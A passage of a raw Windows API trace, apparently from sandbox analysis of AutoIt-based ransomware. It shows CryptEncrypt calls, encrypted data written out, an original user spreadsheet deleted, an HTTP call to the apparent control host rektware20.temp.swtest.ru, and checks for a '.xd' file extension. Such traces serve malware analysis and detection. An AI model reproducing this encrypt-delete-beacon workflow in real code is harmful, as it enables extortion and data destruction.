PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.638] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.638] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.638] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.638] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.638] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.638] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.638] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.639] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0072.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621750, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0072.639] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0072.639] CryptEncrypt (in: hKey=0x164c370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xf718, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xf720) returned 1 [0072.639] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.639] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.640] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.640] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.640] CharLowerBuffW (in: lpsz="byte[63265]", cchLength=0xb | out: lpsz="byte[63265]") returned 0xb [0072.640] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.641] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.641] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.642] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.642] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0072.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0072.642] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0072.642] CryptEncrypt (in: hKey=0x164c370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x180f080*, pdwDataLen=0x130e618*=0xf718, dwBufLen=0xf720 | out: pbData=0x180f080*, pdwDataLen=0x130e618*=0xf720) returned 1 [0072.642] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.642] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.642] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.642] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.642] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.642] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.643] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0072.643] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.643] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0072.643] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.643] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.643] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.643] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.643] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0072.643] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.643] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.643] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.646] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.646] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.646] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.647] WriteFile (in: hFile=0x2ac, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0xf720, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0xf720, lpOverlapped=0x0) returned 1 [0072.649] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.649] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.649] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0072.649] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.649] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.649] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0072.649] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0072.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621330, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0072.649] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0072.649] CryptDestroyKey (hKey=0x164c370) returned 1 [0072.649] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.650] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.650] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0072.650] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.650] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0072.650] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0072.650] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0072.650] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.650] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.650] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0072.650] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.650] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.650] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.650] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.650] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.650] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0072.650] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.650] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0072.650] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.650] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.651] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.651] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.651] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0072.651] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.651] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.651] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0072.651] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0072.651] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0072.651] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0072.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0072.651] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0072.651] CryptReleaseContext (hProv=0x17aac48, dwFlags=0x0) returned 1 [0072.651] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.651] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.652] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0072.652] FreeLibrary (hLibModule=0x74c60000) returned 1 [0072.652] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.652] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.652] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.652] CloseHandle (hObject=0x3bc) returned 1 [0072.653] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.653] CloseHandle (hObject=0x2ac) returned 1 [0072.661] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.662] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0072.662] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", lpFilePart=0x0) returned 0x3a [0072.662] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\78xsbw8pexi.ods")) returned 0x20 [0072.662] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0072.663] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\78xsbw8pexi.ods")) returned 1 [0072.678] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0072.679] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0072.679] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0072.679] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.679] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.679] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.679] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0072.679] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0072.679] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.696] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0072.696] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0072.696] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0072.696] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0072.697] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f40, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f40, lpdwBufferLength=0x130ef8c) returned 1 [0072.697] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0072.697] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0072.698] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0072.698] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0072.698] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0072.698] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0072.698] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0072.698] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0072.698] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0072.699] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0072.699] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0072.699] CloseHandle (hObject=0x0) returned 0 [0072.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 